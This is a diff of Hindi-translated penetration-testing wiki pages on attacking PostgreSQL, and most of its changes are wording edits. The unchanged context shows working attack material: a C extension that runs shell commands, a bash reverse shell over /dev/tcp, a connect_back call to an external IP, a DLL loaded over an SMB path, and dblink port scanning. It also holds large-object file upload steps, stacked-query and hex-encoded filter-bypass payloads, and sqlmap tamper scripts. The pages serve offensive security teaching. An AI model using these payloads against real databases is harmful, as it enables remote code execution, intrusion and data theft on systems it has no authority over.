**PostgreSQL मॉड्यूल `dblink`** अन्य PostgreSQL उदाहरणों से कनेक्ट करने और TCP कनेक्शन निष्पादित करने की क्षमताएँ प्रदान करता है। ये सुविधाएँ, `COPY FROM` कार्यक्षमता के साथ मिलकर, विशेषाधिकार वृद्धि, पोर्ट स्कैनिंग, और NTLM चुनौती प्रतिक्रिया कैप्चर जैसी क्रियाओं को सक्षम बनाती हैं। इन हमलों को निष्पादित करने के विस्तृत तरीकों के लिए देखें कि [इन हमलों को कैसे करें](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)।
|
||||
**PostgreSQL मॉड्यूल `dblink`** अन्य PostgreSQL उदाहरणों से कनेक्ट करने और TCP कनेक्शन निष्पादित करने की क्षमताएँ प्रदान करता है। ये सुविधाएँ, `COPY FROM` कार्यक्षमता के साथ मिलकर, विशेषाधिकार वृद्धि, पोर्ट स्कैनिंग और NTLM चुनौती प्रतिक्रिया कैप्चर जैसी क्रियाएँ सक्षम करती हैं। इन हमलों को निष्पादित करने के विस्तृत तरीकों के लिए देखें कि [इन हमलों को कैसे करें](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md)।
|
||||
|
||||
### **dblink और बड़े ऑब्जेक्ट्स का उपयोग करके Exfiltration उदाहरण**
|
||||
### **dblink और बड़े ऑब्जेक्ट्स का उपयोग करके डेटा निकासी का उदाहरण**
|
||||
|
||||
आप [**इस उदाहरण को पढ़ सकते हैं**](dblink-lo_import-data-exfiltration.md) यह देखने के लिए कि **कैसे बड़े ऑब्जेक्ट्स के अंदर डेटा लोड करें और फिर कार्यक्षमता `dblink_connect` के उपयोगकर्ता नाम के अंदर बड़े ऑब्जेक्ट्स की सामग्री को एक्सफिल्ट्रेट करें।**
|
||||
आप [**इस उदाहरण को पढ़ सकते हैं**](dblink-lo_import-data-exfiltration.md) यह देखने के लिए कि **कैसे बड़े ऑब्जेक्ट्स के अंदर डेटा लोड किया जाए और फिर फ़ंक्शन `dblink_connect` के उपयोगकर्ता नाम के अंदर बड़े ऑब्जेक्ट्स की सामग्री को निकाला जाए।**
|
||||
|
||||
## PostgreSQL Attacks: Read/write, RCE, privesc
|
||||
|
||||
देखें कि PostgreSQL से होस्ट को कैसे समझौता करें और विशेषाधिकार कैसे बढ़ाएं:
|
||||
देखें कि PostgreSQL से होस्ट को कैसे समझौता किया जाए और विशेषाधिकार कैसे बढ़ाए जाएं:
|
||||
|
||||
{{#ref}}
|
||||
../../../network-services-pentesting/pentesting-postgresql.md
|
||||
@ -27,7 +27,7 @@
|
||||
### PostgreSQL String functions
|
||||
|
||||
स्ट्रिंग्स को मैनिपुलेट करना आपको **WAFs या अन्य प्रतिबंधों को बायपास करने में मदद कर सकता है।**\
|
||||
[**इस पृष्ठ में**](https://www.postgresqltutorial.com/postgresql-string-functions/)**आप कुछ उपयोगी स्ट्रिंग फ़ंक्शंस पा सकते हैं।**
|
||||
[**इस पृष्ठ पर**](https://www.postgresqltutorial.com/postgresql-string-functions/)**आप कुछ उपयोगी स्ट्रिंग फ़ंक्शंस पा सकते हैं।**
|
||||
|
||||
### Stacked Queries
|
||||
|
||||
@ -36,7 +36,7 @@
|
||||
id=1; select pg_sleep(10);-- -
|
||||
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
|
||||
```
|
||||
### XML ट्रिक्स
|
||||
### XML tricks
|
||||
|
||||
**query_to_xml**
|
||||
|
||||
@ -46,13 +46,13 @@ SELECT query_to_xml('select * from pg_user',true,true,'');
|
||||
```
|
||||
**database_to_xml**
|
||||
|
||||
यह फ़ंक्शन पूरे डेटाबेस को XML प्रारूप में केवल 1 पंक्ति में डंप करेगा (यदि डेटाबेस बहुत बड़ा है तो सावधान रहें क्योंकि आप इसे DoS कर सकते हैं या यहां तक कि अपने स्वयं के क्लाइंट को भी):
|
||||
यह फ़ंक्शन पूरे डेटाबेस को केवल 1 पंक्ति में XML प्रारूप में डंप करेगा (यदि डेटाबेस बहुत बड़ा है तो सावधान रहें क्योंकि आप इसे DoS कर सकते हैं या यहां तक कि अपने स्वयं के क्लाइंट को भी):
|
||||
```sql
|
||||
SELECT database_to_xml(true,true,'');
|
||||
```
|
||||
### Strings in Hex
|
||||
|
||||
यदि आप **क्वेरीज़** को **एक स्ट्रिंग के अंदर** पास कर सकते हैं (उदाहरण के लिए **`query_to_xml`** फ़ंक्शन का उपयोग करके)। **आप स्ट्रिंग को हेक्स के रूप में पास करने के लिए convert_from का उपयोग कर सकते हैं और इस तरह फ़िल्टर को बायपास कर सकते हैं:**
|
||||
यदि आप **queries** को **एक स्ट्रिंग के अंदर** पास कर सकते हैं (उदाहरण के लिए **`query_to_xml`** फ़ंक्शन का उपयोग करके)। **आप hex के रूप में स्ट्रिंग पास करने के लिए convert_from का उपयोग कर सकते हैं और इस तरह से फ़िल्टर को बायपास कर सकते हैं:**
|
||||
```sql
|
||||
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
PostgreSQL एक संरचना प्रदान करता है जिसे **बड़े ऑब्जेक्ट** कहा जाता है, जो `pg_largeobject` तालिका के माध्यम से सुलभ है, जो बड़े डेटा प्रकारों को संग्रहीत करने के लिए डिज़ाइन की गई है, जैसे कि चित्र या PDF दस्तावेज़। यह दृष्टिकोण `COPY TO` फ़ंक्शन की तुलना में फायदेमंद है क्योंकि यह **डेटा को फ़ाइल सिस्टम में वापस निर्यात करने** की अनुमति देता है, यह सुनिश्चित करते हुए कि मूल फ़ाइल की एक सटीक प्रति बनाए रखी जाती है।
|
||||
|
||||
इस तालिका में **एक पूर्ण फ़ाइल** संग्रहीत करने के लिए, `pg_largeobject` तालिका में एक ऑब्जेक्ट बनाया जाना चाहिए (जिसे LOID द्वारा पहचाना जाता है), इसके बाद डेटा के टुकड़ों को इस ऑब्जेक्ट में डाला जाना चाहिए, प्रत्येक 2KB आकार का। यह सुनिश्चित करना महत्वपूर्ण है कि ये टुकड़े ठीक 2KB आकार के हों (अंतिम टुकड़े के संभावित अपवाद के साथ) ताकि निर्यात फ़ंक्शन सही ढंग से काम करे।
|
||||
इस तालिका में **एक पूर्ण फ़ाइल** संग्रहीत करने के लिए, `pg_largeobject` तालिका में एक ऑब्जेक्ट बनाया जाना चाहिए (जिसे LOID द्वारा पहचाना जाता है), इसके बाद डेटा के टुकड़ों को इस ऑब्जेक्ट में डाला जाना चाहिए, प्रत्येक 2KB आकार का। यह महत्वपूर्ण है कि ये टुकड़े ठीक 2KB आकार के हों (अंतिम टुकड़े के संभावित अपवाद के साथ) ताकि निर्यात फ़ंक्शन सही ढंग से कार्य करे।
|
||||
|
||||
अपने बाइनरी डेटा को 2KB टुकड़ों में **विभाजित करने** के लिए, निम्नलिखित कमांड निष्पादित किए जा सकते हैं:
|
||||
```bash
|
||||
@ -28,7 +28,7 @@ select loid, pageno, encode(data, 'escape') from pg_largeobject;
|
||||
SELECT lo_creat(-1); -- Creates a new, empty large object
|
||||
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
|
||||
```
|
||||
सटीक नियंत्रण की आवश्यकता वाले स्थितियों में, जैसे कि एक Blind SQL Injection का शोषण करते समय, `lo_create` एक निश्चित LOID निर्दिष्ट करने के लिए पसंद किया जाता है।
|
||||
सटीक नियंत्रण की आवश्यकता वाले स्थितियों में, जैसे कि Blind SQL Injection का शोषण करते समय, `lo_create` एक निश्चित LOID निर्दिष्ट करने के लिए पसंद किया जाता है।
|
||||
|
||||
डेटा के टुकड़े इस प्रकार डाले जा सकते हैं:
|
||||
```sql
|
||||
@ -41,7 +41,7 @@ INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64
|
||||
SELECT lo_export(173454, '/tmp/your_file');
|
||||
SELECT lo_unlink(173454); -- Deletes the specified large object
|
||||
```
|
||||
#### `lo_import` और Hex का उपयोग करना
|
||||
#### Using `lo_import` & Hex
|
||||
|
||||
`lo_import` फ़ंक्शन का उपयोग एक बड़े ऑब्जेक्ट के लिए LOID बनाने और निर्दिष्ट करने के लिए किया जा सकता है:
|
||||
```sql
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
**जानें** [**इन हमलों के बारे में अधिक जानकारी मूल पत्र में**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
|
||||
|
||||
चूंकि **PostgreSQL 9.1** से, अतिरिक्त मॉड्यूल की स्थापना सरल है। [पंजीकृत एक्सटेंशन जैसे `dblink`](https://www.postgresql.org/docs/current/contrib.html) [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) के साथ स्थापित किए जा सकते हैं:
|
||||
चूंकि **PostgreSQL 9.1** से, अतिरिक्त मॉड्यूल की स्थापना सरल है। [पंजीकृत एक्सटेंशन जैसे `dblink`](https://www.postgresql.org/docs/current/contrib.html) को [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html) के साथ स्थापित किया जा सकता है:
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
@ -19,7 +19,7 @@ local all all trust
|
||||
_ध्यान दें कि यह कॉन्फ़िगरेशन आमतौर पर तब उपयोग किया जाता है जब व्यवस्थापक पासवर्ड भूल जाता है, इसलिए कभी-कभी आप इसे पा सकते हैं।_\
|
||||
&#xNAN;_Nोटे करें कि फ़ाइल pg_hba.conf केवल postgres उपयोगकर्ता और समूह द्वारा पढ़ी जा सकती है और केवल postgres उपयोगकर्ता द्वारा लिखी जा सकती है।_
|
||||
|
||||
यह मामला **उपयोगी है यदि** आपके पास **शेल** पहले से ही पीड़ित के अंदर है क्योंकि यह आपको postgresql डेटाबेस से कनेक्ट करने की अनुमति देगा।
|
||||
यह मामला **उपयोगी है यदि** आपके पास पीड़ित के अंदर **शेल** पहले से है क्योंकि यह आपको postgresql डेटाबेस से कनेक्ट करने की अनुमति देगा।
|
||||
|
||||
एक और संभावित गलत कॉन्फ़िगरेशन इस तरह का कुछ हो सकता है:
|
||||
```
|
||||
@ -42,7 +42,7 @@ RETURNS (result1 TEXT, result2 TEXT);
|
||||
```
|
||||
### Port Scanning
|
||||
|
||||
`dblink_connect` का दुरुपयोग करते हुए आप **खुले पोर्ट्स** की भी खोज कर सकते हैं। यदि वह **फंक्शन काम नहीं करता है तो आपको `dblink_connect_u()` का उपयोग करने की कोशिश करनी चाहिए क्योंकि दस्तावेज़ में कहा गया है कि `dblink_connect_u()` `dblink_connect()` के समान है, सिवाय इसके कि यह गैर-सुपरयूजर्स को किसी भी प्रमाणीकरण विधि का उपयोग करके कनेक्ट करने की अनुमति देगा।
|
||||
`dblink_connect` का दुरुपयोग करते हुए आप **खुले पोर्ट्स** की भी खोज कर सकते हैं। यदि वह **फंक्शन काम नहीं करता है, तो आपको `dblink_connect_u()` का उपयोग करने की कोशिश करनी चाहिए क्योंकि दस्तावेज़ में कहा गया है कि `dblink_connect_u()` `dblink_connect()` के समान है, सिवाय इसके कि यह गैर-सुपरयूजर्स को किसी भी प्रमाणीकरण विधि का उपयोग करके कनेक्ट करने की अनुमति देगा।
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=216.58.212.238
|
||||
port=443
|
||||
|
@ -13,7 +13,7 @@ lanname | lanacl
|
||||
---------+---------
|
||||
plpgsql |
|
||||
```
|
||||
डिफ़ॉल्ट रूप से, **फंक्शंस बनाना एक विशेषाधिकार है जो PUBLIC को दिया गया है**, जहाँ PUBLIC उस डेटाबेस सिस्टम पर हर उपयोगकर्ता को संदर्भित करता है। इसे रोकने के लिए, व्यवस्थापक को PUBLIC डोमेन से USAGE विशेषाधिकार को वापस लेना पड़ सकता था:
|
||||
डिफ़ॉल्ट रूप से, **फंक्शंस बनाना PUBLIC को दिया गया एक विशेषाधिकार है**, जहाँ PUBLIC उस डेटाबेस सिस्टम पर हर उपयोगकर्ता को संदर्भित करता है। इसे रोकने के लिए, व्यवस्थापक को PUBLIC डोमेन से USAGE विशेषाधिकार को वापस लेना पड़ सकता था:
|
||||
```sql
|
||||
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
|
||||
```
|
||||
|
@ -8,7 +8,7 @@ PostgreSQL को विस्तारशीलता को एक मुख
|
||||
|
||||
संस्करण 8.1 से आगे, विस्तार पुस्तकालयों पर एक विशेष आवश्यकता लागू की गई है: उन्हें एक विशेष हेडर के साथ संकलित किया जाना चाहिए। इसके बिना, PostgreSQL उन्हें निष्पादित नहीं करेगा, यह सुनिश्चित करते हुए कि केवल संगत और संभावित रूप से सुरक्षित विस्तार का उपयोग किया जाए।
|
||||
|
||||
इसके अलावा, ध्यान रखें कि **यदि आप नहीं जानते कि कैसे** [**PostgreSQL का दुरुपयोग करके पीड़ित को फ़ाइलें अपलोड करें, तो आपको यह पोस्ट पढ़नी चाहिए।**](big-binary-files-upload-postgresql.md)
|
||||
इसके अलावा, ध्यान रखें कि **यदि आप नहीं जानते कि कैसे** [**PostgreSQL का दुरुपयोग करके पीड़ित को फ़ाइलें अपलोड करें तो आपको यह पोस्ट पढ़नी चाहिए।**](big-binary-files-upload-postgresql.md)
|
||||
|
||||
### RCE in Linux
|
||||
|
||||
@ -28,7 +28,7 @@ CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' L
|
||||
|
||||
<summary>Write binary file from base64</summary>
|
||||
|
||||
बाइनरी को पोस्टग्रेस में फ़ाइल में लिखने के लिए आपको base64 का उपयोग करने की आवश्यकता हो सकती है, यह इस मामले में सहायक होगा:
|
||||
बाइनरी को एक फ़ाइल में लिखने के लिए postgres में आपको base64 का उपयोग करने की आवश्यकता हो सकती है, यह इस मामले में सहायक होगा:
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||||
$$
|
||||
@ -75,13 +75,13 @@ HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||||
```
|
||||
इस त्रुटि को [PostgreSQL दस्तावेज़](https://www.postgresql.org/docs/current/static/xfunc-c.html) में समझाया गया है:
|
||||
|
||||
> यह सुनिश्चित करने के लिए कि एक गतिशील रूप से लोड की गई ऑब्जेक्ट फ़ाइल एक असंगत सर्वर में लोड नहीं की गई है, PostgreSQL यह जांचता है कि फ़ाइल में उपयुक्त सामग्री के साथ एक "जादुई ब्लॉक" है। यह सर्वर को स्पष्ट असंगतियों का पता लगाने की अनुमति देता है, जैसे कि PostgreSQL के एक अलग प्रमुख संस्करण के लिए संकलित कोड। PostgreSQL 8.2 से एक जादुई ब्लॉक की आवश्यकता है। एक जादुई ब्लॉक शामिल करने के लिए, इसे एक (और केवल एक) मॉड्यूल स्रोत फ़ाइल में लिखें, fmgr.h हेडर शामिल करने के बाद:
|
||||
> यह सुनिश्चित करने के लिए कि एक गतिशील रूप से लोड की गई ऑब्जेक्ट फ़ाइल एक असंगत सर्वर में लोड नहीं की गई है, PostgreSQL यह जांचता है कि फ़ाइल में उपयुक्त सामग्री के साथ एक "जादुई ब्लॉक" है। यह सर्वर को स्पष्ट असंगतियों का पता लगाने की अनुमति देता है, जैसे कि PostgreSQL के एक अलग प्रमुख संस्करण के लिए संकलित कोड। PostgreSQL 8.2 से एक जादुई ब्लॉक की आवश्यकता है। एक जादुई ब्लॉक शामिल करने के लिए, इसे मॉड्यूल स्रोत फ़ाइलों में से एक (और केवल एक) में लिखें, fmgr.h हेडर शामिल करने के बाद:
|
||||
>
|
||||
> `#ifdef PG_MODULE_MAGIC`\
|
||||
> `PG_MODULE_MAGIC;`\
|
||||
> `#endif`
|
||||
|
||||
PostgreSQL संस्करण 8.2 से, हमलावर के लिए सिस्टम का शोषण करना अधिक चुनौतीपूर्ण हो गया है। हमलावर को या तो सिस्टम पर पहले से मौजूद एक पुस्तकालय का उपयोग करना होगा या एक कस्टम पुस्तकालय अपलोड करना होगा। यह कस्टम पुस्तकालय संगत प्रमुख संस्करण के PostgreSQL के खिलाफ संकलित होना चाहिए और इसमें एक विशिष्ट "जादुई ब्लॉक" शामिल होना चाहिए। यह उपाय PostgreSQL सिस्टम का शोषण करने की कठिनाई को काफी बढ़ा देता है, क्योंकि यह सिस्टम की आर्किटेक्चर और संस्करण संगतता की गहरी समझ की आवश्यकता होती है।
|
||||
PostgreSQL संस्करण 8.2 के बाद, हमलावर के लिए सिस्टम का शोषण करना अधिक चुनौतीपूर्ण हो गया है। हमलावर को या तो सिस्टम पर पहले से मौजूद एक पुस्तकालय का उपयोग करना होगा या एक कस्टम पुस्तकालय अपलोड करना होगा। यह कस्टम पुस्तकालय संगत प्रमुख संस्करण के PostgreSQL के खिलाफ संकलित होना चाहिए और इसमें एक विशिष्ट "जादुई ब्लॉक" शामिल होना चाहिए। यह उपाय PostgreSQL सिस्टम का शोषण करने की कठिनाई को काफी बढ़ा देता है, क्योंकि यह सिस्टम की आर्किटेक्चर और संस्करण संगतता की गहरी समझ की आवश्यकता होती है।
|
||||
|
||||
#### पुस्तकालय संकलित करें
|
||||
|
||||
@ -113,13 +113,13 @@ char* command = PG_GETARG_CSTRING(0);
|
||||
PG_RETURN_INT32(system(command));
|
||||
}
|
||||
```
|
||||
फिर संकलित पुस्तकालय को अपलोड करें और कमांड चलाएँ:
|
||||
फिर संकलित पुस्तकालय को अपलोड करें और कमांड्स को निष्पादित करें:
|
||||
```bash
|
||||
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
|
||||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||||
#Notice the double single quotes are needed to scape the qoutes
|
||||
```
|
||||
आप इस **प्रीकंपाइल की गई लाइब्रेरी** को कई विभिन्न PostgreSQL संस्करणों के लिए पा सकते हैं और यहां तक कि आप इस प्रक्रिया को **स्वचालित** कर सकते हैं (यदि आपके पास PostgreSQL एक्सेस है) के साथ:
|
||||
आप इस **प्रीकंपाइल की गई लाइब्रेरी** को कई विभिन्न PostgreSQL संस्करणों के लिए पा सकते हैं और यहां तक कि आप **इस प्रक्रिया को स्वचालित** भी कर सकते हैं (यदि आपके पास PostgreSQL एक्सेस है) के साथ:
|
||||
|
||||
{% embed url="https://github.com/Dionach/pgexec" %}
|
||||
|
||||
@ -254,19 +254,19 @@ PG_RETURN_INT32(arg + 1);
|
||||
```c
|
||||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||||
```
|
||||
[PolyUDF project](https://github.com/rop-la/PolyUDF) एक अच्छा प्रारंभिक बिंदु है जिसमें पूरा MS Visual Studio प्रोजेक्ट और एक तैयार उपयोग करने योग्य पुस्तकालय (जिसमें: _command eval_, _exec_ और _cleanup_) मल्टीवर्जन समर्थन के साथ है।
|
||||
[PolyUDF प्रोजेक्ट](https://github.com/rop-la/PolyUDF) एक अच्छा प्रारंभिक बिंदु है जिसमें पूरा MS Visual Studio प्रोजेक्ट और एक तैयार उपयोग करने योग्य पुस्तकालय (जिसमें: _command eval_, _exec_ और _cleanup_) मल्टीवर्जन समर्थन के साथ है।
|
||||
|
||||
### नवीनतम Prostgres संस्करणों में RCE
|
||||
|
||||
**नवीनतम संस्करणों** में PostgreSQL, प्रतिबंध लगाए गए हैं जहाँ `superuser` को **विशिष्ट निर्देशिकाओं** के अलावा साझा पुस्तकालय फ़ाइलें **लोड करने** से **रोक दिया गया** है, जैसे Windows पर `C:\Program Files\PostgreSQL\11\lib` या \*nix सिस्टम पर `/var/lib/postgresql/11/lib`। ये निर्देशिकाएँ NETWORK_SERVICE या postgres खातों द्वारा लिखने के संचालन के खिलाफ **सुरक्षित** हैं।
|
||||
**नवीनतम संस्करणों** में PostgreSQL, प्रतिबंध लगाए गए हैं जहाँ `superuser` को **विशिष्ट निर्देशिकाओं** के अलावा साझा पुस्तकालय फ़ाइलें **लोड करने** से **रोक दिया गया है**, जैसे Windows पर `C:\Program Files\PostgreSQL\11\lib` या \*nix सिस्टम पर `/var/lib/postgresql/11/lib`। ये निर्देशिकाएँ NETWORK_SERVICE या postgres खातों द्वारा लिखने के संचालन के खिलाफ **सुरक्षित** हैं।
|
||||
|
||||
इन प्रतिबंधों के बावजूद, एक प्रमाणित डेटाबेस `superuser` के लिए "large objects" का उपयोग करके फ़ाइल सिस्टम में **बाइनरी फ़ाइलें लिखना** संभव है। यह क्षमता `C:\Program Files\PostgreSQL\11\data` निर्देशिका के भीतर लिखने तक फैली हुई है, जो तालिकाओं को अपडेट या बनाने जैसे डेटाबेस संचालन के लिए आवश्यक है।
|
||||
|
||||
`CREATE FUNCTION` कमांड से एक महत्वपूर्ण भेद्यता उत्पन्न होती है, जो डेटा निर्देशिका में **निर्देशिका यात्रा** की अनुमति देती है। परिणामस्वरूप, एक प्रमाणित हमलावर इस यात्रा का **शोषण** कर सकता है ताकि डेटा निर्देशिका में एक साझा पुस्तकालय फ़ाइल लिखी जा सके और फिर उसे **लोड किया जा सके**। यह शोषण हमलावर को मनमाने कोड को निष्पादित करने की अनुमति देता है, जिससे सिस्टम पर मूल कोड निष्पादन प्राप्त होता है।
|
||||
`CREATE FUNCTION` कमांड से एक महत्वपूर्ण भेद्यता उत्पन्न होती है, जो डेटा निर्देशिका में **निर्देशिका ट्रैवर्सल** की अनुमति देती है। परिणामस्वरूप, एक प्रमाणित हमलावर इस ट्रैवर्सल का **शोषण** करके डेटा निर्देशिका में एक साझा पुस्तकालय फ़ाइल लिख सकता है और फिर उसे **लोड कर सकता है**। यह शोषण हमलावर को मनमाने कोड को निष्पादित करने की अनुमति देता है, जिससे सिस्टम पर मूल कोड निष्पादन प्राप्त होता है।
|
||||
|
||||
#### हमले का प्रवाह
|
||||
|
||||
सबसे पहले आपको **dll अपलोड करने के लिए large objects का उपयोग करना होगा**। आप यहाँ देख सकते हैं कि ऐसा कैसे करना है:
|
||||
सबसे पहले आपको **dll अपलोड करने के लिए large objects का उपयोग करना होगा**। आप यहाँ देख सकते हैं कि ऐसा कैसे किया जाता है:
|
||||
|
||||
{{#ref}}
|
||||
big-binary-files-upload-postgresql.md
|
||||
@ -277,7 +277,7 @@ big-binary-files-upload-postgresql.md
|
||||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||||
select connect_back('192.168.100.54', 1234);
|
||||
```
|
||||
_ध्यान दें कि आपको `.dll` एक्सटेंशन जोड़ने की आवश्यकता नहीं है क्योंकि create function इसे जोड़ देगा।_
|
||||
_ध्यान दें कि आपको `.dll` एक्सटेंशन जोड़ने की आवश्यकता नहीं है क्योंकि create फ़ंक्शन इसे जोड़ देगा।_
|
||||
|
||||
अधिक जानकारी के लिए **यहाँ पढ़ें**[ **मूल प्रकाशन**](https://srcincite.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**।**\
|
||||
उस प्रकाशन में **यह था** [**कोड जो postgres एक्सटेंशन उत्पन्न करने के लिए उपयोग किया गया**](https://github.com/sourceincite/tools/blob/master/pgpwn.c) (_postgres एक्सटेंशन को संकलित करने के लिए किसी भी पिछले संस्करण को पढ़ें_)।\
|
||||
|
@ -4,15 +4,15 @@
|
||||
|
||||
## PostgreSQL Languages
|
||||
|
||||
आपके पास जो PostgreSQL डेटाबेस है, उसमें विभिन्न **स्क्रिप्टिंग भाषाएँ स्थापित** हो सकती हैं जिन्हें आप **मनमाने कोड** को **निष्पादित** करने के लिए दुरुपयोग कर सकते हैं।
|
||||
जिस PostgreSQL डेटाबेस तक आपको पहुंच मिली है, उसमें विभिन्न **स्क्रिप्टिंग भाषाएँ स्थापित** हो सकती हैं जिन्हें आप **मनमाने कोड** को **चलाने** के लिए दुरुपयोग कर सकते हैं।
|
||||
|
||||
आप उन्हें **चलाने** के लिए:
|
||||
आप उन्हें **चलाने** के लिए कर सकते हैं:
|
||||
```sql
|
||||
\dL *
|
||||
|
||||
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
||||
```
|
||||
PostgreSQL में आप जो अधिकांश स्क्रिप्टिंग भाषाएँ स्थापित कर सकते हैं, उनके **2 प्रकार** होते हैं: **trusted** और **untrusted**। **untrusted** का नाम **"u"** पर समाप्त होगा और यह वह संस्करण होगा जो आपको **कोड निष्पादित** करने और अन्य दिलचस्प कार्यों का उपयोग करने की अनुमति देगा। ये भाषाएँ हैं जो यदि स्थापित हैं तो दिलचस्प हैं:
|
||||
PostgreSQL में आप जिन अधिकांश स्क्रिप्टिंग भाषाओं को स्थापित कर सकते हैं, उनके **2 प्रकार** हैं: **trusted** और **untrusted**। **untrusted** का नाम **"u"** पर समाप्त होगा और यह वह संस्करण होगा जो आपको **कोड निष्पादित** करने और अन्य दिलचस्प कार्यों का उपयोग करने की अनुमति देगा। ये भाषाएँ हैं जो यदि स्थापित हैं तो दिलचस्प हैं:
|
||||
|
||||
- **plpythonu**
|
||||
- **plpython3u**
|
||||
@ -41,7 +41,7 @@ PostgreSQL में आप जो अधिकांश स्क्रिप
|
||||
> CREATE EXTENSION plrubyu;
|
||||
> ```
|
||||
|
||||
ध्यान दें कि सुरक्षित संस्करणों को "unsecure" के रूप में संकलित करना संभव है। उदाहरण के लिए [**यह**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) देखें। इसलिए यह हमेशा कोशिश करने लायक है कि क्या आप कोड निष्पादित कर सकते हैं, भले ही आप केवल **trusted** वाला ही स्थापित पाएँ।
|
||||
ध्यान दें कि सुरक्षित संस्करणों को "unsecure" के रूप में संकलित करना संभव है। उदाहरण के लिए [**यह**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) देखें। इसलिए यह हमेशा कोशिश करने लायक है कि क्या आप कोड निष्पादित कर सकते हैं, भले ही आप केवल **trusted** वाला स्थापित पाते हैं।
|
||||
|
||||
## plpythonu/plpython3u
|
||||
|
||||
@ -75,7 +75,7 @@ SELECT get_user(""); #Get user, para is useless
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="List dir"}}
|
||||
{{#tab name="सूची निर्देशिका"}}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION lsdir (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
@ -91,7 +91,7 @@ SELECT lsdir("/"); #List dir
|
||||
```
|
||||
{{#endtab}}
|
||||
|
||||
{{#tab name="W फ़ोल्डर खोजें"}}
|
||||
{{#tab name="Find W folder"}}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION findw (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -155,7 +155,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| space2randomblank.py | स्पेस चरित्र \(' '\) को वैध वैकल्पिक चरित्रों के सेट से एक यादृच्छिक खाली चरित्र के साथ बदलता है |
|
||||
| symboliclogical.py | AND और OR तार्किक ऑपरेटरों को उनके प्रतीकात्मक समकक्ष \(&& और |
|
||||
| unionalltounion.py | UNION ALL SELECT को UNION SELECT के साथ बदलता है |
|
||||
| unmagicquotes.py | उद्धरण चरित्र \('\) को एक मल्टी-बाइट कॉम्बो %bf%27 के साथ बदलता है, साथ में अंत में एक सामान्य टिप्पणी \(काम करने के लिए\) |
|
||||
| unmagicquotes.py | उद्धरण चरित्र \('\) को एक मल्टी-बाइट कॉम्बो %bf%27 के साथ बदलता है, साथ में अंत में सामान्य टिप्पणी \(काम करने के लिए\) |
|
||||
| uppercase.py | प्रत्येक कीवर्ड चरित्र को अपर केस मान 'INSERT' के साथ बदलता है |
|
||||
| varnish.py | एक HTTP हेडर 'X-originating-IP' जोड़ता है |
|
||||
| versionedkeywords.py | प्रत्येक गैर-फंक्शन कीवर्ड को संस्करणित MySQL टिप्पणी के साथ घेरता है |
|
||||
|
@ -140,19 +140,19 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
| Tamper | Description |
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | अपॉस्ट्रॉफ चरित्र को इसके UTF-8 पूर्ण चौड़ाई समकक्ष के साथ बदलता है |
|
||||
| apostrophenullencode.py | अपॉस्ट्रॉफ चरित्र को इसके अवैध डबल यूनिकोड समकक्ष के साथ बदलता है |
|
||||
| appendnullbyte.py | पेलोड के अंत में एन्कोडेड NULL बाइट चरित्र जोड़ता है |
|
||||
| base64encode.py | दिए गए पेलोड में सभी चरित्रों को Base64 में परिवर्तित करता है |
|
||||
| apostrophemask.py | अपॉस्ट्रॉफ चर को इसके UTF-8 पूर्ण चौड़ाई समकक्ष के साथ बदलता है |
|
||||
| apostrophenullencode.py | अपॉस्ट्रॉफ चर को इसके अवैध डबल यूनिकोड समकक्ष के साथ बदलता है |
|
||||
| appendnullbyte.py | पेलोड के अंत में एन्कोडेड NULL बाइट चर जोड़ता है |
|
||||
| base64encode.py | दिए गए पेलोड में सभी चर को Base64 में परिवर्तित करता है |
|
||||
| between.py | बड़े से बड़ा ऑपरेटर ('>') को 'NOT BETWEEN 0 AND #' के साथ बदलता है |
|
||||
| bluecoat.py | SQL कथन के बाद स्पेस चरित्र को एक मान्य यादृच्छिक खाली चरित्र के साथ बदलता है। इसके बाद चरित्र = को LIKE ऑपरेटर के साथ बदलता है |
|
||||
